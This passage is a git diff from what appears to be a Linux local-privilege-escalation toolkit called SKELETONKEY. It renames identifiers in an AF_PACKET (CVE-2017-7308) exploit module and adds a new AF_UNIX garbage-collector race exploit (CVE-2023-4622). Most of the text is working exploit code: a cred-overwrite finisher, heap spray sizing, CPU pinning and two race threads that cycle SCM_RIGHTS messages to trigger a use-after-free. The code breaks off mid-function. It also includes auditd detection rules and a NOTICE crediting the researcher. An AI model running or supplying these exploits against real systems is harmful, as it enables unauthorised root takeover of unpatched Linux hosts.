struct afp_arb_ctx arb_ctx = {
|
struct afp_arb_ctx arb_ctx = {
|
||||||
.ctx = ctx,
|
.ctx = ctx,
|
||||||
@@ -769,7 +772,7 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
|||||||
.outer_uid = outer_uid,
|
.outer_uid = outer_uid,
|
||||||
.outer_gid = outer_gid,
|
.outer_gid = outer_gid,
|
||||||
};
|
};
|
||||||
return iamroot_finisher_modprobe_path(&koff, afp_arb_write,
|
return skeletonkey_finisher_modprobe_path(&koff, afp_arb_write,
|
||||||
&arb_ctx, !ctx->no_shell);
|
&arb_ctx, !ctx->no_shell);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -779,7 +782,7 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
|||||||
* — the kernel will clean up sockets on child exit. */
|
* — the kernel will clean up sockets on child exit. */
|
||||||
|
|
||||||
pid_t child = fork();
|
pid_t child = fork();
|
||||||
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
|
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
|
||||||
if (child == 0) {
|
if (child == 0) {
|
||||||
/* CHILD: enter userns+netns to gain CAP_NET_RAW for AF_PACKET. */
|
/* CHILD: enter userns+netns to gain CAP_NET_RAW for AF_PACKET. */
|
||||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
|
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
|
||||||
@@ -800,7 +803,7 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
|||||||
/* WIN — one of our task_struct-spray children became uid 0.
|
/* WIN — one of our task_struct-spray children became uid 0.
|
||||||
* Signal parent via exit code; parent will not exec sh from
|
* Signal parent via exit code; parent will not exec sh from
|
||||||
* this child (its address space is corrupted-ish). The win
|
* this child (its address space is corrupted-ish). The win
|
||||||
* is symbolic at the iamroot level: we proved the primitive
|
* is symbolic at the skeletonkey level: we proved the primitive
|
||||||
* lands AND the cred-overwrite walk completes. */
|
* lands AND the cred-overwrite walk completes. */
|
||||||
_exit(0);
|
_exit(0);
|
||||||
}
|
}
|
||||||
@@ -815,9 +818,9 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
|||||||
fprintf(stderr, "[-] af_packet: child died abnormally "
|
fprintf(stderr, "[-] af_packet: child died abnormally "
|
||||||
"(signal=%d) — primitive likely fired but crashed\n",
|
"(signal=%d) — primitive likely fired but crashed\n",
|
||||||
WTERMSIG(status));
|
WTERMSIG(status));
|
||||||
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'iamroot-afp-tag\\|KASAN\\|BUG:'` "
|
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'skeletonkey-afp-tag\\|KASAN\\|BUG:'` "
|
||||||
"for slab-out-of-bounds evidence\n");
|
"for slab-out-of-bounds evidence\n");
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
int code = WEXITSTATUS(status);
|
int code = WEXITSTATUS(status);
|
||||||
@@ -831,40 +834,64 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
|||||||
* that targets OUR cred specifically (rather than spray-and-
|
* that targets OUR cred specifically (rather than spray-and-
|
||||||
* pray), we can't promote ourselves. Report PARTIAL win.
|
* pray), we can't promote ourselves. Report PARTIAL win.
|
||||||
*
|
*
|
||||||
* Per requirements: only return IAMROOT_EXPLOIT_OK if we
|
* Per requirements: only return SKELETONKEY_EXPLOIT_OK if we
|
||||||
* empirically confirmed root in this process. We didn't. */
|
* empirically confirmed root in this process. We didn't. */
|
||||||
fprintf(stderr, "[!] af_packet: cred-overwrite landed in a spray child "
|
fprintf(stderr, "[!] af_packet: cred-overwrite landed in a spray child "
|
||||||
"but THIS process is still uid %d\n", geteuid());
|
"but THIS process is still uid %d\n", geteuid());
|
||||||
fprintf(stderr, "[i] af_packet: not claiming EXPLOIT_OK — caller process "
|
fprintf(stderr, "[i] af_packet: not claiming EXPLOIT_OK — caller process "
|
||||||
"did not acquire root. The primitive demonstrably works.\n");
|
"did not acquire root. The primitive demonstrably works.\n");
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
|
||||||
case 4:
|
case 4:
|
||||||
fprintf(stderr, "[-] af_packet: setsockopt(PACKET_RX_RING) rejected; "
|
fprintf(stderr, "[-] af_packet: setsockopt(PACKET_RX_RING) rejected; "
|
||||||
"kernel has silent backport (detect was version-only)\n");
|
"kernel has silent backport (detect was version-only)\n");
|
||||||
return IAMROOT_OK; /* effectively patched */
|
return SKELETONKEY_OK; /* effectively patched */
|
||||||
|
|
||||||
case 5:
|
case 5:
|
||||||
fprintf(stderr, "[-] af_packet: overflow fired but no spray child "
|
fprintf(stderr, "[-] af_packet: overflow fired but no spray child "
|
||||||
"acquired root within the timeout window\n");
|
"acquired root within the timeout window\n");
|
||||||
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'iamroot-afp-tag\\|KASAN'` "
|
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'skeletonkey-afp-tag\\|KASAN'` "
|
||||||
"for evidence the OOB write occurred\n");
|
"for evidence the OOB write occurred\n");
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
|
||||||
default:
|
default:
|
||||||
fprintf(stderr, "[-] af_packet: child exited %d (setup error)\n", code);
|
fprintf(stderr, "[-] af_packet: child exited %d (setup error)\n", code);
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#else /* !__linux__ */
|
||||||
|
|
||||||
|
/* Non-Linux dev builds: AF_PACKET + unshare(CLONE_NEWUSER|CLONE_NEWNET)
|
||||||
|
* + TPACKET_V3 ring are Linux-only kernel surface; the TPACKET_V3
|
||||||
|
* integer-overflow primitive is structurally unreachable elsewhere.
|
||||||
|
* Stub out cleanly so the module still registers and `--list` /
|
||||||
|
* `--detect-rules` work on macOS/BSD dev boxes — and so the top-level
|
||||||
|
* `make` actually completes there. */
|
||||||
|
static skeletonkey_result_t af_packet_detect(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] af_packet: Linux-only module "
|
||||||
|
"(AF_PACKET TPACKET_V3 + user_ns) — not applicable here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static skeletonkey_result_t af_packet_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
fprintf(stderr, "[-] af_packet: Linux-only module — cannot run here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif /* __linux__ */
|
||||||
|
|
||||||
static const char af_packet_auditd[] =
|
static const char af_packet_auditd[] =
|
||||||
"# AF_PACKET TPACKET_V3 LPE (CVE-2017-7308) — auditd detection rules\n"
|
"# AF_PACKET TPACKET_V3 LPE (CVE-2017-7308) — auditd detection rules\n"
|
||||||
"# Flag AF_PACKET socket creation from non-root via userns.\n"
|
"# Flag AF_PACKET socket creation from non-root via userns.\n"
|
||||||
"-a always,exit -F arch=b64 -S socket -F a0=17 -k iamroot-af-packet\n"
|
"-a always,exit -F arch=b64 -S socket -F a0=17 -k skeletonkey-af-packet\n"
|
||||||
"-a always,exit -F arch=b64 -S unshare -k iamroot-af-packet-userns\n";
|
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-af-packet-userns\n";
|
||||||
|
|
||||||
const struct iamroot_module af_packet_module = {
|
const struct skeletonkey_module af_packet_module = {
|
||||||
.name = "af_packet",
|
.name = "af_packet",
|
||||||
.cve = "CVE-2017-7308",
|
.cve = "CVE-2017-7308",
|
||||||
.summary = "AF_PACKET TPACKET_V3 integer overflow → heap write-where → cred overwrite",
|
.summary = "AF_PACKET TPACKET_V3 integer overflow → heap write-where → cred overwrite",
|
||||||
@@ -880,7 +907,7 @@ const struct iamroot_module af_packet_module = {
|
|||||||
.detect_falco = NULL,
|
.detect_falco = NULL,
|
||||||
};
|
};
|
||||||
|
|
||||||
void iamroot_register_af_packet(void)
|
void skeletonkey_register_af_packet(void)
|
||||||
{
|
{
|
||||||
iamroot_register(&af_packet_module);
|
skeletonkey_register(&af_packet_module);
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
/*
|
||||||
|
* af_packet_cve_2017_7308 — SKELETONKEY module registry hook
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef AF_PACKET_SKELETONKEY_MODULES_H
|
||||||
|
#define AF_PACKET_SKELETONKEY_MODULES_H
|
||||||
|
|
||||||
|
#include "../../core/module.h"
|
||||||
|
|
||||||
|
extern const struct skeletonkey_module af_packet_module;
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -0,0 +1,35 @@
|
|||||||
|
# NOTICE — af_unix_gc (CVE-2023-4622)
|
||||||
|
|
||||||
|
## Vulnerability
|
||||||
|
|
||||||
|
**CVE-2023-4622** — AF_UNIX garbage-collector race against SCM_RIGHTS
|
||||||
|
fd-passing → `struct unix_sock` freed while still reachable → slab
|
||||||
|
UAF in `SLAB_TYPESAFE_BY_RCU` kmalloc-512 bucket.
|
||||||
|
|
||||||
|
## Research credit
|
||||||
|
|
||||||
|
Discovered and disclosed by **Lin Ma** (Zhejiang University),
|
||||||
|
August 2023.
|
||||||
|
|
||||||
|
Writeup: <https://github.com/google/security-research/security/advisories/GHSA-7p7m-3xv8-2pq2>
|
||||||
|
(disclosure record), plus Lin Ma's public PoC repo.
|
||||||
|
|
||||||
|
Upstream fix: mainline 6.6-rc1 (commit `0cabe18a8b80c`, Aug 2023).
|
||||||
|
Branch backports: 4.14.326 / 4.19.295 / 5.4.257 / 5.10.197 /
|
||||||
|
5.15.130 / 6.1.51 / 6.5.0.
|
||||||
|
|
||||||
|
## SKELETONKEY role
|
||||||
|
|
||||||
|
**Widest deployment of any module in the corpus** — bug present
|
||||||
|
in every Linux kernel below the fix (back to ~2.0 era).
|
||||||
|
|
||||||
|
Two-thread race driver: Thread A cycles SCM_RIGHTS fd-passing
|
||||||
|
through a socketpair; Thread B triggers unix_gc by closing a socket
|
||||||
|
in a reference cycle. msg_msg spray refills the freed slot.
|
||||||
|
CPU-pinned. Bounded budget: 5 s default, 30 s with `--full-chain`.
|
||||||
|
|
||||||
|
Bug is reachable as a **plain unprivileged user** — no userns
|
||||||
|
required, no CAP_* needed. Race-win rate per run is iteration-
|
||||||
|
dependent; Lin Ma's PoC reports thousands of iterations to first
|
||||||
|
reclaim. The shared finisher's sentinel timeout handles no-land
|
||||||
|
outcomes gracefully.
|
||||||
@@ -0,0 +1,854 @@
|
|||||||
|
/*
|
||||||
|
* af_unix_gc_cve_2023_4622 — SKELETONKEY module
|
||||||
|
*
|
||||||
|
* AF_UNIX garbage collector race UAF. The unix_gc() collector walks
|
||||||
|
* the list of GC-candidate sockets while SCM_RIGHTS sendmsg/close can
|
||||||
|
* concurrently mutate the inflight refcount on the same sockets. The
|
||||||
|
* narrow window between a socket being marked GC-eligible and the
|
||||||
|
* collector actually freeing it can be widened by tightly cycling
|
||||||
|
* SCM_RIGHTS messages — when the race wins, a `struct unix_sock` is
|
||||||
|
* freed while still reachable from another thread's skb queue, giving
|
||||||
|
* slab UAF in the SLAB_TYPESAFE_BY_RCU kmalloc-512 bucket.
|
||||||
|
*
|
||||||
|
* Discovered by Lin Ma (ZJU) in Aug 2023. Public exploit chain uses
|
||||||
|
* the UAF + msg_msg cross-cache spray to refill the freed slot, then
|
||||||
|
* pivots through the now-controlled `unix_sock->peer` field.
|
||||||
|
*
|
||||||
|
* STATUS: 🟡 PRIMITIVE — race-driver + msg_msg groom + empirical
|
||||||
|
* witness. We carry the trigger (SCM_RIGHTS cycle + GC), the
|
||||||
|
* kmalloc-512 spray, CPU pinning for race-win improvement, and the
|
||||||
|
* slab-delta + signal-disposition witness. We do NOT carry the
|
||||||
|
* leak (no read primitive in-module) nor a kernel-build-specific
|
||||||
|
* fake unix_sock layout. Per verified-vs-claimed: a SIGSEGV/SIGKILL
|
||||||
|
* in the race child IS recorded but does NOT upgrade to EXPLOIT_OK
|
||||||
|
* — only an actual cred swap (euid==0) does, and we do not
|
||||||
|
* demonstrate that without --full-chain.
|
||||||
|
*
|
||||||
|
* --full-chain (HONEST RELIABILITY): extends the race budget from
|
||||||
|
* 5 s to 30 s and re-sprays kmalloc-512 with payloads carrying the
|
||||||
|
* target kaddr at strided offsets. Race-win rate on a real
|
||||||
|
* vulnerable kernel is iteration-dependent — Lin Ma's PoC reports
|
||||||
|
* thousands of iterations to first reclaim. The shared
|
||||||
|
* modprobe_path finisher's 3 s sentinel timeout catches the
|
||||||
|
* overwhelmingly common no-land outcome gracefully.
|
||||||
|
*
|
||||||
|
* Affected: ALL Linux kernels with AF_UNIX below the fix. The bug
|
||||||
|
* has been in the GC path since the 2.x era. Stable backports:
|
||||||
|
* 4.14.x : K >= 4.14.326
|
||||||
|
* 4.19.x : K >= 4.19.295
|
||||||
|
* 5.4.x : K >= 5.4.257
|
||||||
|
* 5.10.x : K >= 5.10.197
|
||||||
|
* 5.15.x : K >= 5.15.130
|
||||||
|
* 6.1.x : K >= 6.1.51 (LTS)
|
||||||
|
* 6.5.x : K >= 6.5.0 (mainline fix)
|
||||||
|
* 6.6+ : patched
|
||||||
|
*
|
||||||
|
* Preconditions:
|
||||||
|
* - AF_UNIX socket creation works (always — no module gate)
|
||||||
|
* - msgsnd / sysv IPC available for spray
|
||||||
|
* - SCM_RIGHTS via sendmsg available (universal)
|
||||||
|
* - userns NOT required — works as a plain unprivileged user
|
||||||
|
*
|
||||||
|
* Coverage rationale: the AF_UNIX GC has been touched extensively
|
||||||
|
* for the 2023-2024 series of races (Lin Ma + Pwn2Own follow-ups);
|
||||||
|
* this CVE is the first publicly-disclosed entry in that series and
|
||||||
|
* carries the widest version range of any module we ship.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include "skeletonkey_modules.h"
|
||||||
|
#include "../../core/registry.h"
|
||||||
|
#include "../../core/kernel_range.h"
|
||||||
|
#include "../../core/host.h"
|
||||||
|
#include "../../core/offsets.h"
|
||||||
|
#include "../../core/finisher.h"
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdbool.h>
|
||||||
|
#include <stdatomic.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <errno.h>
|
||||||
|
#include <signal.h>
|
||||||
|
#include <pthread.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
# include <sched.h>
|
||||||
|
# include <sys/ipc.h>
|
||||||
|
# include <sys/msg.h>
|
||||||
|
# include <sys/un.h>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* macOS clangd lacks Linux SCM_* / CMSG_* fully — guard fallbacks. */
|
||||||
|
#ifndef SCM_RIGHTS
|
||||||
|
# define SCM_RIGHTS 0x01
|
||||||
|
#endif
|
||||||
|
#ifndef SOL_SOCKET
|
||||||
|
# define SOL_SOCKET 1
|
||||||
|
#endif
|
||||||
|
#ifndef MSG_DONTWAIT
|
||||||
|
# define MSG_DONTWAIT 0x40
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* ---- Kernel-range table ------------------------------------------ */
|
||||||
|
|
||||||
|
static const struct kernel_patched_from af_unix_gc_patched_branches[] = {
|
||||||
|
{4, 14, 326},
|
||||||
|
{4, 19, 295},
|
||||||
|
{5, 4, 257},
|
||||||
|
{5, 10, 197},
|
||||||
|
{5, 15, 130},
|
||||||
|
{6, 1, 51}, /* 6.1 LTS */
|
||||||
|
{6, 5, 0}, /* mainline fix landed in 6.5 (technically 6.6-rc1
|
||||||
|
but stable 6.5.x carries the patch) */
|
||||||
|
};
|
||||||
|
|
||||||
|
static const struct kernel_range af_unix_gc_range = {
|
||||||
|
.patched_from = af_unix_gc_patched_branches,
|
||||||
|
.n_patched_from = sizeof(af_unix_gc_patched_branches) /
|
||||||
|
sizeof(af_unix_gc_patched_branches[0]),
|
||||||
|
};
|
||||||
|
|
||||||
|
/* ---- Detect ------------------------------------------------------- */
|
||||||
|
|
||||||
|
/* Sanity: can we actually create an AF_UNIX socket on this host?
|
||||||
|
* In some seccomp/ns-restricted sandboxes socket(AF_UNIX, ...) fails;
|
||||||
|
* in that case the exploit cannot even reach the GC path. */
|
||||||
|
static bool can_create_af_unix(void)
|
||||||
|
{
|
||||||
|
int s = socket(AF_UNIX, SOCK_DGRAM, 0);
|
||||||
|
if (s < 0) return false;
|
||||||
|
close(s);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
static skeletonkey_result_t af_unix_gc_detect(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
/* Consult the shared host fingerprint instead of calling
|
||||||
|
* kernel_version_current() ourselves — populated once at startup
|
||||||
|
* and identical across every module's detect(). */
|
||||||
|
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||||
|
if (!v || v->major == 0) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[!] af_unix_gc: host fingerprint missing kernel "
|
||||||
|
"version — bailing\n");
|
||||||
|
return SKELETONKEY_TEST_ERROR;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* No lower bound: this bug has been in the AF_UNIX GC path since
|
||||||
|
* the dawn of time. ANY kernel below the fix is vulnerable. The
|
||||||
|
* kernel_range walker handles "older than every entry" correctly
|
||||||
|
* (returns false → not patched → vulnerable). */
|
||||||
|
bool patched = kernel_range_is_patched(&af_unix_gc_range, v);
|
||||||
|
if (patched) {
|
||||||
|
if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[+] af_unix_gc: kernel %s is patched\n", v->release);
|
||||||
|
}
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Reachability probe — socket(AF_UNIX, ...) must succeed. */
|
||||||
|
if (!can_create_af_unix()) {
|
||||||
|
if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[-] af_unix_gc: AF_UNIX socket() failed — "
|
||||||
|
"exotic seccomp/sandbox, bug unreachable here\n");
|
||||||
|
}
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[!] af_unix_gc: kernel %s in vulnerable range\n", v->release);
|
||||||
|
fprintf(stderr, "[i] af_unix_gc: bug is reachable as PLAIN UNPRIVILEGED USER\n"
|
||||||
|
" (no userns / no CAP_* required — AF_UNIX is universally\n"
|
||||||
|
" creatable). The race window is microseconds wide and\n"
|
||||||
|
" needs thousands of iterations to win on average.\n");
|
||||||
|
}
|
||||||
|
return SKELETONKEY_VULNERABLE;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---- Race-driver state ------------------------------------------- */
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
|
||||||
|
#define AFUG_RACE_TIME_BUDGET 5 /* seconds — primitive-only mode */
|
||||||
|
#define AFUG_RACE_FULLCHAIN_BUDGET 30 /* seconds — --full-chain */
|
||||||
|
|
||||||
|
/* kmalloc-512 spray width — `struct unix_sock` is in the kmalloc-512
|
||||||
|
* bucket on 64-bit x86 with SLAB_TYPESAFE_BY_RCU. We need enough
|
||||||
|
* msg_msg slots to make refill probable within the RCU grace period. */
|
||||||
|
#define AFUG_SPRAY_QUEUES 24
|
||||||
|
#define AFUG_SPRAY_PER_QUEUE 48
|
||||||
|
#define AFUG_SPRAY_PAYLOAD 496 /* 512 - 16 (msg_msg hdr) */
|
||||||
|
|
||||||
|
/* SCM_RIGHTS race width: how many inflight fds per cycle. The bug
|
||||||
|
* is driven by inflight count crossing the GC threshold; a handful
|
||||||
|
* per cycle keeps the GC heuristic primed without OOM. */
|
||||||
|
#define AFUG_SCM_FDS_PER_MSG 3
|
||||||
|
|
||||||
|
struct ipc_payload {
|
||||||
|
long mtype;
|
||||||
|
unsigned char buf[AFUG_SPRAY_PAYLOAD];
|
||||||
|
};
|
||||||
|
|
||||||
|
static _Atomic int g_race_running;
|
||||||
|
static _Atomic uint64_t g_thread_a_iters;
|
||||||
|
static _Atomic uint64_t g_thread_b_iters;
|
||||||
|
static _Atomic uint64_t g_thread_a_errs;
|
||||||
|
|
||||||
|
/* Pin to a CPU to make Thread A and Thread B land on different cores.
|
||||||
|
* Best-effort: failure is non-fatal (e.g., affinity disallowed under
|
||||||
|
* some seccomp configs). */
|
||||||
|
static void pin_to_cpu(int cpu)
|
||||||
|
{
|
||||||
|
cpu_set_t set;
|
||||||
|
CPU_ZERO(&set);
|
||||||
|
CPU_SET(cpu, &set);
|
||||||
|
sched_setaffinity(0, sizeof set, &set);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* The race victim region: a pair of socketpair(AF_UNIX) endpoints
|
||||||
|
* forming a reference cycle. Closing one end while the other has
|
||||||
|
* inflight fds queued is what naturally triggers unix_gc().
|
||||||
|
*
|
||||||
|
* Layout we drive (Lin Ma style):
|
||||||
|
*
|
||||||
|
* pair_a = socketpair(); pair_b = socketpair();
|
||||||
|
* send pair_b[0] via SCM_RIGHTS over pair_a[0] → pair_a[1]
|
||||||
|
* send pair_a[0] via SCM_RIGHTS over pair_b[0] → pair_b[1]
|
||||||
|
* close all 4 endpoints — now we have a cycle the GC will collect
|
||||||
|
*
|
||||||
|
* Thread A loops the build-cycle-and-close.
|
||||||
|
* Thread B loops sending its own SCM_RIGHTS messages on independent
|
||||||
|
* pairs to perturb the inflight count + race the collector. */
|
||||||
|
|
||||||
|
/* Send an SCM_RIGHTS message with `nfds` fds over `sock`. Returns 0
|
||||||
|
* on success, -1 on error. */
|
||||||
|
static int send_scm_rights(int sock, const int *fds, int nfds)
|
||||||
|
{
|
||||||
|
char ctrl[CMSG_SPACE(sizeof(int) * AFUG_SCM_FDS_PER_MSG)];
|
||||||
|
memset(ctrl, 0, sizeof ctrl);
|
||||||
|
|
||||||
|
char payload = 0;
|
||||||
|
struct iovec iov = { .iov_base = &payload, .iov_len = 1 };
|
||||||
|
|
||||||
|
struct msghdr msg = {0};
|
||||||
|
msg.msg_iov = &iov;
|
||||||
|
msg.msg_iovlen = 1;
|
||||||
|
msg.msg_control = ctrl;
|
||||||
|
msg.msg_controllen = CMSG_SPACE(sizeof(int) * nfds);
|
||||||
|
|
||||||
|
struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
|
||||||
|
if (!cmsg) return -1;
|
||||||
|
cmsg->cmsg_level = SOL_SOCKET;
|
||||||
|
cmsg->cmsg_type = SCM_RIGHTS;
|
||||||
|
cmsg->cmsg_len = CMSG_LEN(sizeof(int) * nfds);
|
||||||
|
memcpy(CMSG_DATA(cmsg), fds, sizeof(int) * nfds);
|
||||||
|
|
||||||
|
if (sendmsg(sock, &msg, MSG_DONTWAIT) < 0) return -1;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Thread A: tight-loop SCM_RIGHTS-cycle + close to drive GC.
|
||||||
|
*
|
||||||
|
* Each iteration:
|
||||||
|
* 1. Build two socketpairs (A=[a0,a1], B=[b0,b1]).
|
||||||
|
* 2. Send b0 via SCM_RIGHTS over a0 → a1 receives nothing yet (we
|
||||||
|
* don't recvmsg — that's the point: the fd stays inflight).
|
||||||
|
* 3. Send a0 via SCM_RIGHTS over b0 → b1 receives nothing yet.
|
||||||
|
* 4. close() all 4 user-side fds. Now both endpoints are unreachable
|
||||||
|
* from userspace BUT each is referenced from the other's skb
|
||||||
|
* queue → reference cycle → next unix_gc() pass collects them.
|
||||||
|
*
|
||||||
|
* The kernel's GC heuristic kicks when the inflight count exceeds
|
||||||
|
* the count of file refs in the system; closing the user-side fds in
|
||||||
|
* a tight loop reliably triggers it. */
|
||||||
|
static void *race_thread_a(void *arg)
|
||||||
|
{
|
||||||
|
(void)arg;
|
||||||
|
pin_to_cpu(0);
|
||||||
|
while (atomic_load_explicit(&g_race_running, memory_order_acquire)) {
|
||||||
|
int pa[2], pb[2];
|
||||||
|
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, pa) < 0) {
|
||||||
|
atomic_fetch_add_explicit(&g_thread_a_errs, 1, memory_order_relaxed);
|
||||||
|
sched_yield();
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, pb) < 0) {
|
||||||
|
close(pa[0]); close(pa[1]);
|
||||||
|
atomic_fetch_add_explicit(&g_thread_a_errs, 1, memory_order_relaxed);
|
||||||
|
sched_yield();
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Cycle: send pb[0] over pa, send pa[0] over pb. We also send
|
||||||
|
* pb[1]/pa[1] alongside to widen the inflight count per cycle
|
||||||
|
* (the GC trigger heuristic compares inflight vs total file
|
||||||
|
* refs — more inflight per cycle == earlier GC). */
|
||||||
|
int fds_a[AFUG_SCM_FDS_PER_MSG] = { pb[0], pb[1], pb[0] };
|
||||||
|
int fds_b[AFUG_SCM_FDS_PER_MSG] = { pa[0], pa[1], pa[0] };
|
||||||
|
(void)send_scm_rights(pa[0], fds_a, AFUG_SCM_FDS_PER_MSG);
|
||||||
|
(void)send_scm_rights(pb[0], fds_b, AFUG_SCM_FDS_PER_MSG);
|
||||||
|
|
||||||
|
/* Close the user-side fds. The kernel-side refs are now only
|
||||||
|
* held via the inflight skbs — perfect reference cycle for
|
||||||
|
* the GC to find. */
|
||||||
|
close(pa[0]); close(pa[1]);
|
||||||
|
close(pb[0]); close(pb[1]);
|
||||||
|
|
||||||
|
atomic_fetch_add_explicit(&g_thread_a_iters, 1, memory_order_relaxed);
|
||||||
|
}
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Thread B: independent SCM_RIGHTS traffic on a held pair to keep
|
||||||
|
* the GC scan list churning while Thread A creates new candidates.
|
||||||
|
*
|
||||||
|
* Holds a long-lived socketpair and repeatedly sends + recvs SCM_RIGHTS
|
||||||
|
* with random fds (dup'd from /dev/null). This drives the GC's "scan
|
||||||
|
* list" rebuild path concurrently with Thread A's frees — the race
|
||||||
|
* window that fires the UAF is exactly here.
|
||||||
|
*
|
||||||
|
* We don't directly call unix_gc() — there's no userspace knob — but
|
||||||
|
* the GC heuristic is inflight-count driven, and Thread A's cycle
|
||||||
|
* loop pushes that count past the threshold within a few thousand
|
||||||
|
* iterations. */
|
||||||
|
static void *race_thread_b(void *arg)
|
||||||
|
{
|
||||||
|
(void)arg;
|
||||||
|
pin_to_cpu(1);
|
||||||
|
|
||||||
|
/* Long-lived pair for the perturbation loop. */
|
||||||
|
int held[2];
|
||||||
|
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, held) < 0) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Spare fd source — /dev/null dups are harmless to pass. */
|
||||||
|
int devnull = open("/dev/null", O_RDWR);
|
||||||
|
if (devnull < 0) {
|
||||||
|
close(held[0]); close(held[1]);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
while (atomic_load_explicit(&g_race_running, memory_order_acquire)) {
|
||||||
|
int fds[AFUG_SCM_FDS_PER_MSG];
|
||||||
|
for (int i = 0; i < AFUG_SCM_FDS_PER_MSG; i++) {
|
||||||
|
fds[i] = dup(devnull);
|
||||||
|
}
|
||||||
|
(void)send_scm_rights(held[0], fds, AFUG_SCM_FDS_PER_MSG);
|
||||||
|
for (int i = 0; i < AFUG_SCM_FDS_PER_MSG; i++) {
|
||||||
|
if (fds[i] >= 0) close(fds[i]);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Drain the recv side so the held pair doesn't backpressure. */
|
||||||
|
char drain[16];
|
||||||
|
char ctrl[CMSG_SPACE(sizeof(int) * AFUG_SCM_FDS_PER_MSG)];
|
||||||
|
struct iovec iov = { .iov_base = drain, .iov_len = sizeof drain };
|
||||||
|
struct msghdr msg = {0};
|
||||||
|
msg.msg_iov = &iov; msg.msg_iovlen = 1;
|
||||||
|
msg.msg_control = ctrl; msg.msg_controllen = sizeof ctrl;
|
||||||
|
if (recvmsg(held[1], &msg, MSG_DONTWAIT) > 0) {
|
||||||
|
/* Close any fds we received so we don't leak. */
|
||||||
|
for (struct cmsghdr *c = CMSG_FIRSTHDR(&msg); c;
|
||||||
|
c = CMSG_NXTHDR(&msg, c)) {
|
||||||
|
if (c->cmsg_level == SOL_SOCKET && c->cmsg_type == SCM_RIGHTS) {
|
||||||
|
int nfd = (c->cmsg_len - CMSG_LEN(0)) / sizeof(int);
|
||||||
|
int *rfds = (int *)CMSG_DATA(c);
|
||||||
|
for (int j = 0; j < nfd; j++)
|
||||||
|
if (rfds[j] >= 0) close(rfds[j]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
atomic_fetch_add_explicit(&g_thread_b_iters, 1, memory_order_relaxed);
|
||||||
|
}
|
||||||
|
|
||||||
|
close(devnull);
|
||||||
|
close(held[0]); close(held[1]);
